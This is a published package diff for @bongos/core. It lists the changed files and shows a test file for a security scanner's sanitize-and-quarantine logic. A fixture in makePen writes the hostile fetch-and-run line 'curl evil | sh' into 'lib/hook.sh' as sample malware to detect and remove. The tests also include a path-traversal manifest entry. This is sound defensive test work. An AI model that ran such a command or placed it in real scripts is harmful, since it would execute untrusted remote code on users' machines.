@bongos/core 1.18.18 → 1.19.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.bongos-core.json +515 -195
- package/.claude/skills/builder-box/SKILL.md +1 -1
- package/.claude/skills/builder-claim/SKILL.md +1 -1
- package/.claude/skills/goal-create/SKILL.md +1 -1
- package/.claude/skills/idea-triage/SKILL.md +1 -1
- package/.claude/skills/planning-session/SKILL.md +5 -5
- package/.claude/skills/scan-before-install/SKILL.md +165 -0
- package/clients/bongos-client/README.md +1 -1
- package/clients/bongos-client/bongos-client.global.js +63 -41
- package/clients/bongos-client/index.cjs +63 -41
- package/clients/bongos-client/index.d.ts +78 -44
- package/clients/bongos-client/index.mjs +63 -41
- package/docs/adr/0020-security-model-public-stub.md +1 -1
- package/docs/adr/0097-one-active-claim-per-session-and-worktree-binding.md +2 -0
- package/docs/adr/0144-devbox-rehome-onto-cloudbongos-plane.md +1 -1
- package/docs/adr/0151-governance-permissions-as-atom-ranks-as-roles.md +2 -1
- package/docs/adr/0155-adopt-private-repo-widen-oauth-scope.md +51 -0
- package/docs/adr/0156-user-set-display-name-wins.md +62 -0
- package/docs/adr/0157-archon-is-rank-and-identity-only.md +93 -0
- package/docs/adr/0158-choke-point-verdict-taxonomy.md +174 -0
- package/docs/adr/0159-merge-gate-reconciliation.md +88 -0
- package/docs/adr/0160-main-audit-repo-verifiable-caller.md +77 -0
- package/docs/adr/README.md +8 -0
- package/docs/api/openapi.json +1209 -233
- package/docs/api-reference.md +61 -46
- package/docs/architecture.md +1 -1
- package/docs/canonical-permissions.md +61 -16
- package/docs/design/vanilla-hall-ui-redesign-scope.md +1 -1
- package/docs/file-map.md +4 -1
- package/docs/onboarding/diagrams/assertions.json +3 -3
- package/docs/recipes/core-release-pipeline.md +179 -0
- package/docs/recipes/packaging-the-core.md +2 -0
- package/docs/recipes/parallel-goal-waves.md +1 -3
- package/docs/recipes/private-npm-distribution.md +2 -0
- package/docs/recipes/upgrading-the-core.md +2 -0
- package/migrations/core_197_display_name_source.sql +56 -0
- package/migrations/core_204_rekey_active_claim_per_session_worktree.sql +77 -0
- package/modules/autonomy/routes/autonomy.js +1 -1
- package/modules/builder-settings/db.js +7 -1
- package/modules/dev-box/app/src/vendor/bongos-client.cjs +63 -41
- package/modules/dev-box/routes/box.js +11 -9
- package/modules/discord/auth.js +3 -1
- package/modules/discord/routes/discord.js +8 -2
- package/modules/discord/ship-broadcast.js +48 -1
- package/modules/governance/catalog.js +70 -20
- package/modules/governance/db.js +102 -0
- package/modules/governance/migrations/governance_006_version_create.sql +38 -0
- package/modules/governance/migrations/governance_007_delegate_archon_ops_to_metic.sql +72 -0
- package/modules/governance/routes/governance.js +235 -6
- package/modules/grading/grader-workers/index.js +18 -9
- package/modules/hall-ui/public/gate.js +6 -2
- package/modules/hall-ui/public/goals-page.js +6 -2
- package/modules/hall-ui/public/governance.css +100 -0
- package/modules/hall-ui/public/governance.html +77 -0
- package/modules/hall-ui/public/governance.js +353 -0
- package/modules/hall-ui/public/harbor.js +14 -8
- package/modules/hall-ui/public/instances-panel.js +3 -1
- package/modules/hall-ui/public/new-project-wizard.js +6 -0
- package/modules/hall-ui/public/people.html +51 -0
- package/modules/hall-ui/public/people.js +100 -0
- package/modules/hall-ui/public/profile.html +2 -1
- package/modules/hall-ui/public/profile.js +9 -3
- package/modules/hall-ui/public/sessions.js +4 -2
- package/modules/hall-ui/public/shell.js +28 -7
- package/modules/hall-ui/public/task-detail.js +6 -3
- package/modules/hall-ui/public/watch.js +17 -9
- package/modules/ideas/blockers.js +44 -7
- package/modules/ideas/routes/blockers.js +12 -7
- package/modules/ideas/routes/inbox.js +2 -2
- package/modules/lifecycle/db.js +84 -17
- package/modules/lifecycle/github-push.js +37 -10
- package/modules/lifecycle/publish-reconciler.js +128 -31
- package/modules/lifecycle/routes/claims.js +10 -4
- package/modules/lifecycle/routes/dependencies.js +2 -2
- package/modules/lifecycle/routes/done-when.js +4 -4
- package/modules/lifecycle/routes/gate-approvals.js +9 -3
- package/modules/lifecycle/routes/goals.js +5 -5
- package/modules/lifecycle/routes/tasks.js +16 -16
- package/modules/lifecycle/routes/versions.js +13 -2
- package/modules/lifecycle/ship-card.js +38 -7
- package/modules/memory/routes/memory.js +2 -2
- package/modules/onboarding/routes/access-requests.js +3 -3
- package/modules/platform-identity/routes/projects.js +10 -6
- package/modules/platform-identity/routes/scouting.js +2 -2
- package/modules/provisioning/migrations/provisioning_004_onboard_mode.sql +30 -0
- package/modules/provisioning/provisioning.js +24 -6
- package/modules/provisioning/routes/provisioning.js +24 -6
- package/modules/security/artifact-scan/aggregate.js +133 -0
- package/modules/security/artifact-scan/detectors/capabilities.js +53 -0
- package/modules/security/artifact-scan/detectors/config-obfuscation.js +41 -0
- package/modules/security/artifact-scan/detectors/credentials.js +112 -0
- package/modules/security/artifact-scan/detectors/dependencies.js +115 -0
- package/modules/security/artifact-scan/detectors/hooks.js +116 -0
- package/modules/security/artifact-scan/detectors/injection.js +118 -0
- package/modules/security/artifact-scan/detectors/mcp.js +102 -0
- package/modules/security/artifact-scan/detectors/network.js +67 -0
- package/modules/security/artifact-scan/detectors/npm-lifecycle.js +67 -0
- package/modules/security/artifact-scan/detectors/permissions.js +91 -0
- package/modules/security/artifact-scan/detectors/shared.js +219 -0
- package/modules/security/artifact-scan/fence-local.js +99 -0
- package/modules/security/artifact-scan/fetch.js +330 -0
- package/modules/security/artifact-scan/floor.js +319 -0
- package/modules/security/artifact-scan/limits.js +66 -0
- package/modules/security/artifact-scan/manifest.js +203 -0
- package/modules/security/artifact-scan/mirror.js +158 -0
- package/modules/security/artifact-scan/quarantine.js +149 -0
- package/modules/security/artifact-scan/rebuild-spec.js +120 -0
- package/modules/security/artifact-scan/report.js +155 -0
- package/modules/security/artifact-scan/sanitize.js +317 -0
- package/modules/security/migrations/security_001_tool_scans.sql +145 -0
- package/modules/security/module.json +2 -2
- package/modules/security/routes/reports.js +11 -7
- package/modules/security/routes/scans.js +115 -0
- package/modules/security/scan-store.js +214 -0
- package/modules/security/tests/aggregate.mjs +283 -0
- package/modules/security/tests/artifact_scan.mjs +591 -0
- package/modules/security/tests/floor.mjs +549 -0
- package/modules/security/tests/mirror.mjs +350 -0
- package/modules/security/tests/sanitize_rebuild.mjs +499 -0
- package/modules/security/tests/scan_store.mjs +250 -0
- package/modules/security/tests/tool_scans_migration.mjs +116 -0
- package/modules/sessions/routes/sessions.js +6 -5
- package/package-lock.json +2 -2
- package/package.json +1 -1
- package/public-landing/create.html +13 -3
- package/scripts/gds/abandon.js +1 -1
- package/scripts/gds/audit-authorship.sh +6 -0
- package/scripts/gds/box.js +1 -1
- package/scripts/gds/claim.js +15 -0
- package/scripts/gds/cli-lib.js +16 -4
- package/scripts/gds/gating.js +28 -13
- package/scripts/gds/gen-api-docs.js +1 -1
- package/scripts/gds/goal.js +234 -0
- package/scripts/gds/init.js +70 -15
- package/scripts/gds/main-audit.js +80 -11
- package/scripts/gds/mirror-redact.js +6 -0
- package/scripts/gds/newcomer-floor.js +2 -2
- package/scripts/gds/provision.js +230 -94
- package/scripts/gds/run-unit-tests.js +9 -1
- package/scripts/gds/sandbox-stage.js +66 -9
- package/scripts/gds/search-ingest-md.js +1 -0
- package/scripts/gds/sequence.js +67 -8
- package/scripts/gds/ship.js +183 -50
- package/scripts/hall-preview/server.js +1 -1
- package/scripts/migrate.sh +99 -14
- package/src/bongos/auth.js +129 -27
- package/src/bongos/db-kernel.js +66 -5
- package/src/bongos/db.js +6 -7
- package/src/bongos/github-repos.js +19 -7
- package/src/bongos/goal-scope-check.js +1 -1
- package/src/bongos/module-scope-map.js +3 -1
- package/src/bongos/permission-path-check.js +1 -1
- package/src/bongos/route-rank-check.js +73 -30
- package/src/bongos/routes/audit-log.js +4 -2
- package/src/bongos/routes/auth.js +8 -4
- package/src/bongos/routes/backup.js +7 -4
- package/src/bongos/routes/builders.js +23 -11
- package/src/bongos/routes/github.js +15 -4
- package/src/bongos/routes/llm-cache.js +5 -2
- package/src/bongos/routes/modules.js +9 -5
- package/src/bongos/routes/security.js +21 -12
- package/src/bongos/serve-internal.js +22 -7
- package/src/module-api.js +86 -1
- package/src/platform-server.js +14 -0
- package/tests/api_client.mjs +18 -2
- package/tests/api_path_404.mjs +3 -0
- package/tests/art_stage.mjs +2 -1
- package/tests/atlas.mjs +32 -4
- package/tests/auth_admission_gate.mjs +17 -5
- package/tests/auth_error_brand.mjs +41 -21
- package/tests/auth_resolve_failure.mjs +155 -0
- package/tests/blocker_link.mjs +88 -0
- package/tests/bongos_downloads.mjs +2 -1
- package/tests/box_dns_repoint.mjs +2 -0
- package/tests/box_ship_permissions.mjs +2 -0
- package/tests/box_terminal_ssrf.mjs +23 -17
- package/tests/claim_error_surface.mjs +23 -0
- package/tests/claude_materialize.mjs +4 -0
- package/tests/cli_box_scope.mjs +40 -0
- package/tests/cloud_bongos_pack.mjs +34 -4
- package/tests/conductor.mjs +2 -1
- package/tests/criterion_authoring_gate.mjs +28 -5
- package/tests/currency_label.mjs +10 -1
- package/tests/deploy_instance.mjs +2 -0
- package/tests/devbox_downloads.mjs +2 -1
- package/tests/display_name.mjs +95 -6
- package/tests/eviction_policy.mjs +2 -1
- package/tests/file_map.mjs +10 -0
- package/tests/first_admin_bootstrap.mjs +10 -2
- package/tests/first_run_engine_check.mjs +2 -1
- package/tests/fitness.mjs +26 -6
- package/tests/gate_approvals.mjs +15 -2
- package/tests/github_push_land_proof.mjs +50 -4
- package/tests/github_repos_helpers.mjs +30 -5
- package/tests/github_token_store.mjs +23 -0
- package/tests/goal_abuse_matrix.mjs +13 -3
- package/tests/goal_cli.mjs +89 -0
- package/tests/governance_abuse_matrix.mjs +386 -0
- package/tests/governance_fold.mjs +156 -0
- package/tests/governance_fold_bench.mjs +50 -0
- package/tests/governance_live_proof.mjs +201 -0
- package/tests/governance_page_gates.mjs +21 -9
- package/tests/governance_parity.mjs +11 -2
- package/tests/governance_require_permission.mjs +125 -1
- package/tests/governance_routes.mjs +334 -0
- package/tests/grader.mjs +7 -3
- package/tests/hall_nav.mjs +14 -4
- package/tests/helpers.mjs +73 -0
- package/tests/hook_core_resolve.mjs +2 -1
- package/tests/host_topology_skips.mjs +97 -0
- package/tests/infra_exec_paths.mjs +14 -4
- package/tests/init.mjs +128 -0
- package/tests/known_failing_ratchet.mjs +89 -0
- package/tests/lifecycle-card.mjs +2 -1
- package/tests/main_audit.mjs +72 -1
- package/tests/memory_isolation.mjs +56 -9
- package/tests/migrate_root_resolution.mjs +124 -1
- package/tests/mirror_redact.mjs +19 -0
- package/tests/module_api.mjs +3 -1
- package/tests/module_loader.mjs +4 -0
- package/tests/modules.mjs +35 -7
- package/tests/modules_route.mjs +29 -5
- package/tests/onboarding_observability.mjs +49 -11
- package/tests/onboarding_route_signals.mjs +1 -0
- package/tests/one_active_claim_per_session.mjs +80 -0
- package/tests/pre_compact.mjs +2 -1
- package/tests/preview_server.mjs +2 -1
- package/tests/profile_route.mjs +1 -0
- package/tests/provision.mjs +170 -0
- package/tests/provisioning_onboard_mode.mjs +180 -0
- package/tests/publish_manifest.mjs +16 -3
- package/tests/publish_reconciler.mjs +181 -10
- package/tests/rank_tier_single_source.mjs +205 -0
- package/tests/recall_hints.mjs +2 -1
- package/tests/repo_map.mjs +4 -0
- package/tests/route_permission_check.mjs +14 -5
- package/tests/rubric_fixtures.mjs +3 -0
- package/tests/run_routine_two_root.mjs +2 -0
- package/tests/sandbox_stage.mjs +69 -7
- package/tests/search_ingest.mjs +7 -0
- package/tests/security_docs.mjs +28 -6
- package/tests/sequence.mjs +64 -0
- package/tests/session-cards.mjs +2 -1
- package/tests/session_start_freshness.mjs +2 -1
- package/tests/ship_broadcast_server.mjs +63 -1
- package/tests/ship_card.mjs +66 -0
- package/tests/ship_ci_deploy.mjs +66 -1
- package/tests/ship_smoke_gate.mjs +76 -0
- package/tests/versions_route.mjs +15 -0
- package/tests/workflow_exec_paths.mjs +16 -4
- package/tests/worktree_guard.mjs +2 -1
|
@@ -0,0 +1,499 @@
|
|
|
1
|
+
// modules/security/tests/sanitize_rebuild.mjs — the sanitize landing's
|
|
2
|
+
// arithmetic gates + confined copy, and the rebuild-spec assembler
|
|
3
|
+
// (task 1002548, goal 1000055).
|
|
4
|
+
//
|
|
5
|
+
// The criteria these tests pin: sanitize eligibility is arithmetic over the
|
|
6
|
+
// reducer's evidence (any malice indicator, coverage gap, unhealthy panel, or
|
|
7
|
+
// non-whole-node finding kills the offer); the sanitized copy is written only
|
|
8
|
+
// inside the quarantine, byte-identical for kept files, whole files removed
|
|
9
|
+
// with a diff; and the rebuild spec is doc-files-only with script-owned
|
|
10
|
+
// framing that no model-authored string can soften or carry a payload into.
|
|
11
|
+
|
|
12
|
+
import { strict as assert } from 'node:assert';
|
|
13
|
+
import { createRequire } from 'node:module';
|
|
14
|
+
import crypto from 'node:crypto';
|
|
15
|
+
import fs from 'node:fs';
|
|
16
|
+
import fsp from 'node:fs/promises';
|
|
17
|
+
import os from 'node:os';
|
|
18
|
+
import path from 'node:path';
|
|
19
|
+
|
|
20
|
+
const require = createRequire(import.meta.url);
|
|
21
|
+
const sanitize = require('../artifact-scan/sanitize.js');
|
|
22
|
+
const rebuild = require('../artifact-scan/rebuild-spec.js');
|
|
23
|
+
const agg = require('../artifact-scan/aggregate.js');
|
|
24
|
+
const { excerpt } = require('../artifact-scan/detectors/shared.js');
|
|
25
|
+
|
|
26
|
+
let passed = 0;
|
|
27
|
+
let failed = 0;
|
|
28
|
+
async function test(name, fn) {
|
|
29
|
+
try { await fn(); passed++; console.log(` ok ${name}`); }
|
|
30
|
+
catch (err) { failed++; console.log(` FAIL ${name}`); console.log(` ${err.stack || err.message}`); }
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
const RAW_DANGEROUS_RE = new RegExp(
|
|
34
|
+
'[\\u200b-\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2060\\u2066-\\u2069\\ufeff]|[\\u{e0000}-\\u{e007f}]', 'u');
|
|
35
|
+
|
|
36
|
+
// ---------- fixtures: a healthy full scan, caution from one removable file ----------
|
|
37
|
+
|
|
38
|
+
const ENTRIES = [
|
|
39
|
+
{ path: 'index.js', kind: 'file', size: 10, sha256: 'a'.repeat(64) },
|
|
40
|
+
{ path: 'lib/hook.sh', kind: 'file', size: 20, sha256: 'b'.repeat(64) },
|
|
41
|
+
{ path: 'README.md', kind: 'file', size: 30, sha256: 'c'.repeat(64) },
|
|
42
|
+
];
|
|
43
|
+
|
|
44
|
+
function floorOf(verdict, { findings = [], skipped = [] } = {}) {
|
|
45
|
+
return {
|
|
46
|
+
floor_verdict: verdict,
|
|
47
|
+
findings,
|
|
48
|
+
coverage: { files_read: 3, files_skipped: skipped, bytes_read: 60, bytes_skipped: 0 },
|
|
49
|
+
capabilities: [],
|
|
50
|
+
target: { sha: 'abc1234' },
|
|
51
|
+
};
|
|
52
|
+
}
|
|
53
|
+
const lensOf = (findings = [], status = 'ok', name = 'lens') => ({ lens: name, status, findings });
|
|
54
|
+
const f = (severity, file, code = 'x') => ({ code, severity, file, message: 'm' });
|
|
55
|
+
|
|
56
|
+
// A full healthy scan: default tier, one ok lens, a high panel finding on a
|
|
57
|
+
// concrete file — reduces to caution, coverage full.
|
|
58
|
+
function healthyCase() {
|
|
59
|
+
const floorReport = floorOf('clean');
|
|
60
|
+
const lenses = [lensOf([f('high', 'lib/hook.sh', 'suspicious_hook')])];
|
|
61
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses, tier: 'default' });
|
|
62
|
+
return { reduced, floorReport, lenses, entries: ENTRIES };
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// ---------- planSanitize: the arithmetic gates ----------
|
|
66
|
+
|
|
67
|
+
await test('happy path: caution from a removable panel finding, full coverage, healthy panel → eligible', () => {
|
|
68
|
+
const c = healthyCase();
|
|
69
|
+
assert.equal(c.reduced.verdict, 'caution');
|
|
70
|
+
const plan = sanitize.planSanitize(c);
|
|
71
|
+
assert.equal(plan.eligible, true, plan.reasons.join('; '));
|
|
72
|
+
assert.deepEqual(plan.removals, ['lib/hook.sh']);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
await test('planSanitize refuses to run without the reducer result — arithmetic, never a narrative', () => {
|
|
76
|
+
assert.throws(() => sanitize.planSanitize({ floorReport: floorOf('clean') }), /reducer result/);
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
await test('gate 1: any critical finding anywhere is a malice indicator — floor or panel', () => {
|
|
80
|
+
const viaPanel = healthyCase();
|
|
81
|
+
viaPanel.lenses = [lensOf([f('critical', 'lib/hook.sh', 'read_then_send')])];
|
|
82
|
+
viaPanel.reduced = agg.reduceVerdict({ floorReport: viaPanel.floorReport, lenses: viaPanel.lenses, tier: 'default' });
|
|
83
|
+
const p1 = sanitize.planSanitize(viaPanel);
|
|
84
|
+
assert.equal(p1.eligible, false);
|
|
85
|
+
assert.ok(p1.reasons.some((r) => r.startsWith('malice_indicator')), p1.reasons.join('; '));
|
|
86
|
+
|
|
87
|
+
const viaFloor = healthyCase();
|
|
88
|
+
viaFloor.floorReport = floorOf('dangerous', { findings: [f('critical', 'lib/hook.sh', 'read_then_send_same_file')] });
|
|
89
|
+
viaFloor.reduced = agg.reduceVerdict({ floorReport: viaFloor.floorReport, lenses: viaFloor.lenses, tier: 'default' });
|
|
90
|
+
const p2 = sanitize.planSanitize(viaFloor);
|
|
91
|
+
assert.equal(p2.eligible, false);
|
|
92
|
+
assert.ok(p2.reasons.some((r) => r.startsWith('malice_indicator')));
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
await test('gate 1: a dangerous floor verdict with no recorded critical still counts as malice', () => {
|
|
96
|
+
const m = sanitize.hasMaliceIndicator({ floor_verdict: 'dangerous', findings: [] }, []);
|
|
97
|
+
assert.equal(m.malicious, true);
|
|
98
|
+
assert.deepEqual(m.codes, ['floor_verdict_dangerous']);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
await test('gate 2: a finding that names no concrete manifest file is not whole-node removable', () => {
|
|
102
|
+
const c = healthyCase();
|
|
103
|
+
c.lenses = [lensOf([f('high', '(floor)', 'detector_error')])];
|
|
104
|
+
c.reduced = agg.reduceVerdict({ floorReport: c.floorReport, lenses: c.lenses, tier: 'default' });
|
|
105
|
+
const plan = sanitize.planSanitize(c);
|
|
106
|
+
assert.equal(plan.eligible, false);
|
|
107
|
+
assert.ok(plan.reasons.some((r) => r.startsWith('not_whole_node_removable')));
|
|
108
|
+
assert.equal(plan.unremovable.length, 1);
|
|
109
|
+
});
|
|
110
|
+
|
|
111
|
+
await test('gate 3: any coverage gap (skipped file) kills the offer', () => {
|
|
112
|
+
const c = healthyCase();
|
|
113
|
+
c.floorReport = floorOf('clean', { skipped: [{ path: 'blob.bin', reason: 'non_utf8', bytes: 9 }] });
|
|
114
|
+
c.reduced = agg.reduceVerdict({ floorReport: c.floorReport, lenses: c.lenses, tier: 'default' });
|
|
115
|
+
const plan = sanitize.planSanitize(c);
|
|
116
|
+
assert.equal(plan.eligible, false);
|
|
117
|
+
assert.ok(plan.reasons.some((r) => r.startsWith('coverage_incomplete')));
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
await test('gate 3: unfetched declared dependencies are a coverage gap too', () => {
|
|
121
|
+
const c = healthyCase();
|
|
122
|
+
c.floorReport = floorOf('caution', {
|
|
123
|
+
findings: [{ code: 'dependencies_unfetched', severity: 'medium', file: 'package.json', message: 'm', detail: { declared: 4, unscannable: true } }],
|
|
124
|
+
});
|
|
125
|
+
c.entries = [...ENTRIES, { path: 'package.json', kind: 'file', size: 5, sha256: 'd'.repeat(64) }];
|
|
126
|
+
c.reduced = agg.reduceVerdict({ floorReport: c.floorReport, lenses: c.lenses, tier: 'default' });
|
|
127
|
+
const plan = sanitize.planSanitize(c);
|
|
128
|
+
assert.equal(plan.eligible, false);
|
|
129
|
+
assert.ok(plan.reasons.some((r) => r.startsWith('coverage_incomplete')));
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
await test('the scan itself must have run a full healthy panel: low tier, empty panel, and failed lenses all kill the offer', () => {
|
|
133
|
+
const low = healthyCase();
|
|
134
|
+
low.reduced = agg.reduceVerdict({ floorReport: low.floorReport, lenses: low.lenses, tier: 'low' });
|
|
135
|
+
assert.equal(sanitize.planSanitize(low).eligible, false);
|
|
136
|
+
|
|
137
|
+
const empty = healthyCase();
|
|
138
|
+
empty.lenses = [];
|
|
139
|
+
empty.reduced = agg.reduceVerdict({ floorReport: floorOf('caution', { findings: [f('high', 'lib/hook.sh')] }), lenses: [], tier: 'default' });
|
|
140
|
+
empty.floorReport = floorOf('caution', { findings: [f('high', 'lib/hook.sh')] });
|
|
141
|
+
const p = sanitize.planSanitize(empty);
|
|
142
|
+
assert.equal(p.eligible, false);
|
|
143
|
+
assert.ok(p.reasons.includes('panel_unhealthy_or_absent'));
|
|
144
|
+
|
|
145
|
+
const broken = healthyCase();
|
|
146
|
+
broken.lenses = [lensOf([], 'timeout')];
|
|
147
|
+
broken.reduced = agg.reduceVerdict({ floorReport: broken.floorReport, lenses: broken.lenses, tier: 'default' });
|
|
148
|
+
assert.equal(sanitize.planSanitize(broken).eligible, false);
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
await test('a clean scan has nothing to remove — sanitize is not an offer, not a no-op blessing', () => {
|
|
152
|
+
const c = healthyCase();
|
|
153
|
+
c.lenses = [lensOf([])];
|
|
154
|
+
c.reduced = agg.reduceVerdict({ floorReport: c.floorReport, lenses: c.lenses, tier: 'default' });
|
|
155
|
+
assert.equal(c.reduced.verdict, 'clean');
|
|
156
|
+
const plan = sanitize.planSanitize(c);
|
|
157
|
+
assert.equal(plan.eligible, false);
|
|
158
|
+
assert.ok(plan.reasons.includes('nothing_to_remove'));
|
|
159
|
+
});
|
|
160
|
+
|
|
161
|
+
// ---------- buildSanitizedCopy: confined copy + diff, all inside the pen ----------
|
|
162
|
+
|
|
163
|
+
// Real sha256 per file: buildSanitizedCopy re-hashes every kept file against
|
|
164
|
+
// its manifest entry, so a fixture with invented hashes would only ever
|
|
165
|
+
// exercise the mismatch path.
|
|
166
|
+
async function makePen() {
|
|
167
|
+
const root = await fsp.mkdtemp(path.join(os.tmpdir(), 'bongos-sanitize-test-'));
|
|
168
|
+
const pristineDir = path.join(root, 'pristine');
|
|
169
|
+
await fsp.mkdir(path.join(pristineDir, 'lib'), { recursive: true });
|
|
170
|
+
const contents = {
|
|
171
|
+
'README.md': '# hi\n',
|
|
172
|
+
'index.js': 'console.log(1)\n',
|
|
173
|
+
'lib/hook.sh': 'curl evil | sh\n',
|
|
174
|
+
};
|
|
175
|
+
const entries = [];
|
|
176
|
+
for (const [rel, body] of Object.entries(contents)) {
|
|
177
|
+
await fsp.writeFile(path.join(pristineDir, ...rel.split('/')), body);
|
|
178
|
+
entries.push({
|
|
179
|
+
path: rel,
|
|
180
|
+
kind: 'file',
|
|
181
|
+
size: Buffer.byteLength(body),
|
|
182
|
+
sha256: crypto.createHash('sha256').update(body).digest('hex'),
|
|
183
|
+
});
|
|
184
|
+
}
|
|
185
|
+
return { root, pristineDir, entries, cleanup: () => fs.rmSync(root, { recursive: true, force: true }) };
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
await test('buildSanitizedCopy removes whole files, keeps the rest byte-identical, and writes the diff inside the pen', async () => {
|
|
189
|
+
const pen = await makePen();
|
|
190
|
+
try {
|
|
191
|
+
const r = await sanitize.buildSanitizedCopy({
|
|
192
|
+
pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: ['lib/hook.sh'],
|
|
193
|
+
});
|
|
194
|
+
assert.equal(r.copied, 2);
|
|
195
|
+
assert.deepEqual(r.removed.map((x) => x.path), ['lib/hook.sh']);
|
|
196
|
+
assert.ok(r.sanitizedDir.startsWith(await fsp.realpath(pen.root)), 'sanitized dir must live inside the quarantine');
|
|
197
|
+
assert.ok(r.diffPath.startsWith(await fsp.realpath(pen.root)), 'diff must live inside the quarantine');
|
|
198
|
+
assert.equal(fs.existsSync(path.join(r.sanitizedDir, 'lib', 'hook.sh')), false, 'removed file must be gone');
|
|
199
|
+
assert.equal(
|
|
200
|
+
await fsp.readFile(path.join(r.sanitizedDir, 'index.js'), 'utf8'),
|
|
201
|
+
await fsp.readFile(path.join(pen.pristineDir, 'index.js'), 'utf8'),
|
|
202
|
+
'kept files must be byte-identical'
|
|
203
|
+
);
|
|
204
|
+
const diff = await fsp.readFile(r.diffPath, 'utf8');
|
|
205
|
+
assert.ok(diff.includes('REMOVED lib/hook.sh'));
|
|
206
|
+
assert.ok(diff.includes('Whole-file removals only'));
|
|
207
|
+
} finally { pen.cleanup(); }
|
|
208
|
+
});
|
|
209
|
+
|
|
210
|
+
await test('buildSanitizedCopy refuses a removal the manifest does not carry, an empty removals list, and stale state', async () => {
|
|
211
|
+
const pen = await makePen();
|
|
212
|
+
try {
|
|
213
|
+
await assert.rejects(
|
|
214
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: ['nope.js'] }),
|
|
215
|
+
/not a manifest file/
|
|
216
|
+
);
|
|
217
|
+
await assert.rejects(
|
|
218
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: [] }),
|
|
219
|
+
/non-empty removals/
|
|
220
|
+
);
|
|
221
|
+
await sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: ['lib/hook.sh'] });
|
|
222
|
+
await assert.rejects(
|
|
223
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: ['lib/hook.sh'] }),
|
|
224
|
+
/EEXIST/
|
|
225
|
+
);
|
|
226
|
+
} finally { pen.cleanup(); }
|
|
227
|
+
});
|
|
228
|
+
|
|
229
|
+
await test('buildSanitizedCopy refuses a manifest path that escapes the pristine tree', async () => {
|
|
230
|
+
const pen = await makePen();
|
|
231
|
+
try {
|
|
232
|
+
const hostile = [...pen.entries, { path: '../outside.js', kind: 'file', size: 1, sha256: 'e'.repeat(64) }];
|
|
233
|
+
await assert.rejects(
|
|
234
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: hostile, removals: ['lib/hook.sh'] }),
|
|
235
|
+
/escapes the pristine tree/
|
|
236
|
+
);
|
|
237
|
+
} finally { pen.cleanup(); }
|
|
238
|
+
});
|
|
239
|
+
|
|
240
|
+
// ---------- path identity: findings carry SCRUBBED paths, manifests raw ones ----------
|
|
241
|
+
|
|
242
|
+
await test('a scrubbed-name collision is AMBIGUOUS, not a guess — the flagged file is never swapped for its twin (review finding)', () => {
|
|
243
|
+
// Two files whose names differ only by a zero-width space. floor.js stores
|
|
244
|
+
// scrubUntrusted(rel) on the finding, so the finding's file matches BOTH.
|
|
245
|
+
const hostile = 'lib/payload.js';
|
|
246
|
+
const decoy = 'lib/payload.js';
|
|
247
|
+
const entries = [
|
|
248
|
+
{ path: hostile, kind: 'file', size: 10, sha256: 'a'.repeat(64) },
|
|
249
|
+
{ path: decoy, kind: 'file', size: 10, sha256: 'b'.repeat(64) },
|
|
250
|
+
];
|
|
251
|
+
const floorReport = floorOf('caution', { findings: [f('high', decoy, 'suspicious_hook')] });
|
|
252
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses: [lensOf([])], tier: 'default' });
|
|
253
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses: [lensOf([])], entries });
|
|
254
|
+
assert.equal(plan.eligible, false, 'an ambiguous path must never yield a removal plan');
|
|
255
|
+
assert.equal(plan.removals.length, 0, 'nothing may be scheduled for deletion on an ambiguous name');
|
|
256
|
+
assert.equal(plan.unremovable[0].reason, 'ambiguous_path');
|
|
257
|
+
});
|
|
258
|
+
|
|
259
|
+
await test('removals carry the RAW manifest path even when the finding carries the scrubbed one', () => {
|
|
260
|
+
const raw = 'lib/payload.js';
|
|
261
|
+
const entries = [{ path: raw, kind: 'file', size: 10, sha256: 'a'.repeat(64) }];
|
|
262
|
+
const floorReport = floorOf('caution', { findings: [f('high', 'lib/payload.js', 'suspicious_hook')] });
|
|
263
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses: [lensOf([])], tier: 'default' });
|
|
264
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses: [lensOf([])], entries });
|
|
265
|
+
assert.equal(plan.eligible, true, plan.reasons.join('; '));
|
|
266
|
+
assert.deepEqual(plan.removals, [raw], 'buildSanitizedCopy needs the raw path to find the file on disk');
|
|
267
|
+
});
|
|
268
|
+
|
|
269
|
+
await test('provenance splits floor-backed removals from panel-only ones (a lens file field is a delete instruction)', () => {
|
|
270
|
+
const entries = [
|
|
271
|
+
{ path: 'a.js', kind: 'file', size: 1, sha256: 'a'.repeat(64) },
|
|
272
|
+
{ path: 'b.js', kind: 'file', size: 1, sha256: 'b'.repeat(64) },
|
|
273
|
+
];
|
|
274
|
+
const floorReport = floorOf('caution', { findings: [f('high', 'a.js', 'floor_code')] });
|
|
275
|
+
const lenses = [lensOf([f('high', 'b.js', 'panel_code')])];
|
|
276
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses, tier: 'default' });
|
|
277
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses, entries });
|
|
278
|
+
assert.deepEqual(plan.provenance.floor_backed, ['a.js']);
|
|
279
|
+
